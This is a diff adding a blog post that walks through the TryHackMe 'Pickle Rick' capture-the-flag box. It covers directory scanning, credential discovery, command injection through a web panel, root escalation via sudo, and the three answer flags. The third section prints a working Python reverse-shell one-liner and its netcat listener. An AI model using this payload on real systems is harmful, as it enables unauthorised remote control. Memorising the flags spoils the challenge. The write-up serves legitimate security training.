|
| 1 | +--- |
| 2 | +date: "2024-12-15T19:38:31Z" |
| 3 | +title: "Pickle Rick" |
| 4 | +summary: "Try Hack Me Pickle Rick Box - Difficulty Easy" |
| 5 | +--- |
| 6 | + |
| 7 | +## Pickle Rick |
| 8 | + |
| 9 | +Here's an overview of the TryHackMe Pickle Rick Challenge: |
| 10 | + |
| 11 | +- Title: Pickle Rick |
| 12 | +- Difficulty: Easy |
| 13 | +- Summary: This Rick and Morty-themed challenge requires you to exploit a web server |
| 14 | + and find three ingredients to help Rick make his potion and transform himself back into a human from a pickle. |
| 15 | + |
| 16 | +So let's initiate the box and find the ingredients! |
| 17 | + |
| 18 | +## First Ingredient |
| 19 | + |
| 20 | +First we get to the landing page. Analyzing the html we find the username: |
| 21 | + |
| 22 | +<!-- prettier-ignore-start --> |
| 23 | +> ``` |
| 24 | +> <!-- |
| 25 | +> |
| 26 | +> Note to self, remember username! |
| 27 | +> |
| 28 | +> Username: R1ckRul3s |
| 29 | +> |
| 30 | +> --> |
| 31 | +> ``` |
| 32 | +{type="secondary"} |
| 33 | +<!-- prettier-ignore-end --> |
| 34 | +
|
| 35 | +and an `assets/` url that is fetching a rick and morty image. Exploring the `assets` endpoint we encounter |
| 36 | +the following files: |
| 37 | +
|
| 38 | +- Files: |
| 39 | + - bootstrap.min.css |
| 40 | + - bootstrap.min.js |
| 41 | + - fail.gif |
| 42 | + - jquery.min.js |
| 43 | + - picklerick.gif |
| 44 | + - portal.jpg |
| 45 | + - rickandmorty.jpeg |
| 46 | +
|
| 47 | +Lets see the common `robots.txt` file: |
| 48 | +
|
| 49 | +<!-- prettier-ignore-start --> |
| 50 | +> Wubbalubbadubdub |
| 51 | +{type="secondary"} |
| 52 | +<!-- prettier-ignore-end --> |
| 53 | +
|
| 54 | +We find one of Rick's catchphrase. |
| 55 | +
|
| 56 | +Lets try to scan for some dirs with the tool `gobuster`. Using the following command: |
| 57 | +
|
| 58 | +`gobuster dir -u http://10.10.191.0 --wordlist wordlists/dirbuster/directory-list-2.3-medium.txt -x php,js,html,css,py` |
| 59 | +
|
| 60 | +> [!TIP] |
| 61 | +> You can get the wordlists from the Kali linux distribution. |
| 62 | +
|
| 63 | +The output was the following: |
| 64 | +
|
| 65 | +- /.php (Status: 403) [Size: 276] |
| 66 | +- /.html (Status: 403) [Size: 276] |
| 67 | +- /index.html (Status: 200) [Size: 1062] |
| 68 | +- /login.php (Status: 200) [Size: 882] |
| 69 | +- /assets (Status: 301) [Size: 311] [--> http://10.10.191.0/assets/] |
| 70 | +- /portal.php (Status: 302) [Size: 0] [--> /login.php] |
| 71 | +
|
| 72 | +The file `login.php` seems promising. Trying the credentials: |
| 73 | +
|
| 74 | +- Username=R1ckRul3s |
| 75 | +- Password=Wubbalubbadubdub |
| 76 | +
|
| 77 | +And we get in on `portal.php`, which has a command input textbox. |
| 78 | +
|
| 79 | +Lets try to execute a command. Beginning with `ls .` we get: |
| 80 | +
|
| 81 | +- Sup3rS3cretPickl3Ingred.txt |
| 82 | +- assets |
| 83 | +- clue.txt |
| 84 | +- denied.php |
| 85 | +- index.html |
| 86 | +- login.php |
| 87 | +- portal.php |
| 88 | +- robots.txt |
| 89 | +
|
| 90 | +Trying to `cat,head,tail` or even `echo $(<Sup3rS3cretPickl3Ingred.txt)` didn't work. The first because |
| 91 | +they are not allowed. And the last didn't respond with any input. |
| 92 | +
|
| 93 | +Accessing the file `Sup3rS3cretPickl3Ingred.txt` normally through the url: |
| 94 | +
|
| 95 | +<!-- prettier-ignore-start --> |
| 96 | +> mr. meeseek hair |
| 97 | +{type="primary"} |
| 98 | +<!-- prettier-ignore-end --> |
| 99 | +
|
| 100 | +Nice we found the first ingredient. |
| 101 | +
|
| 102 | +## Second Ingredient |
| 103 | +
|
| 104 | +The file `clue.txt` has the content: |
| 105 | +
|
| 106 | +<!-- prettier-ignore-start --> |
| 107 | +> Look around the file system for the other ingredient. |
| 108 | +{type="secondary"} |
| 109 | +<!-- prettier-ignore-end --> |
| 110 | +
|
| 111 | +and the html on `portal.php` has the base64 string: |
| 112 | +
|
| 113 | +`Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==` |
| 114 | +
|
| 115 | +Trying to decode it reveals it is recursive. Using the script: |
| 116 | +
|
| 117 | +```python |
| 118 | +#!/usr/bin/env python |
| 119 | +import subprocess |
| 120 | +string = "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" |
| 121 | +
|
| 122 | +while True: |
| 123 | + try: |
| 124 | + p = subprocess.run( |
| 125 | + ["/usr/bin/bash", "-c", f"echo {string} | base64 -d"], |
| 126 | + capture_output=True, |
| 127 | + text=True, |
| 128 | + ) |
| 129 | + string = p.stdout |
| 130 | + except Exception as _: |
| 131 | + break |
| 132 | +print(string) |
| 133 | +``` |
| 134 | +
|
| 135 | +outputs: |
| 136 | + |
| 137 | +<!-- prettier-ignore-start --> |
| 138 | +> rabbit hole |
| 139 | +{type="secondary"} |
| 140 | +<!-- prettier-ignore-end --> |
| 141 | + |
| 142 | +Seems that this was mocking us... |
| 143 | + |
| 144 | +Exploring the directory we find the following file in `/home/rick/`: |
| 145 | + |
| 146 | +<!-- prettier-ignore-start --> |
| 147 | +> second ingredients |
| 148 | +{type="secondary"} |
| 149 | +<!-- prettier-ignore-end --> |
| 150 | + |
| 151 | +Using python to print the file contents: |
| 152 | +`python3 -c "with open('/home/rick/second ingredients') as f: print(f.read())"` |
| 153 | + |
| 154 | +Shows us: |
| 155 | + |
| 156 | +<!-- prettier-ignore-start --> |
| 157 | +> 1 jerry tear |
| 158 | +{type="primary"} |
| 159 | +<!-- prettier-ignore-end --> |
| 160 | + |
| 161 | +Nice we got the second ingredient! One to go! |
| 162 | + |
| 163 | +## Third Ingredient |
| 164 | + |
| 165 | +Now lets try to use a reverse shell to ease the process. We already know that we have python3 so lets try this payload: |
| 166 | + |
| 167 | +```bash |
| 168 | +export RHOST="10.0.0.1";export RPORT=9999;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' |
| 169 | +``` |
| 170 | + |
| 171 | +Here `RHOST` should be your TryHackMe VPN IP. |
| 172 | +On the my side I listened with: |
| 173 | + |
| 174 | +```bash |
| 175 | +nc -lnvp 9999 |
| 176 | +``` |
| 177 | + |
| 178 | +> [!NOTE] |
| 179 | +> The `RPORT` should have the same value as the one used in the netcat (`nc`) command. |
| 180 | +
|
| 181 | +Then I checked my permission with the command `sudo -l` which showed I had root permissions. |
| 182 | + |
| 183 | +Using the command: `sudo bash` we see a `3rd.txt` in the root directory. Which gives the final ingredient: |
| 184 | + |
| 185 | +<!-- prettier-ignore-start --> |
| 186 | +> fleeb juice |
| 187 | +{type="primary"} |
| 188 | +<!-- prettier-ignore-end --> |
0 commit comments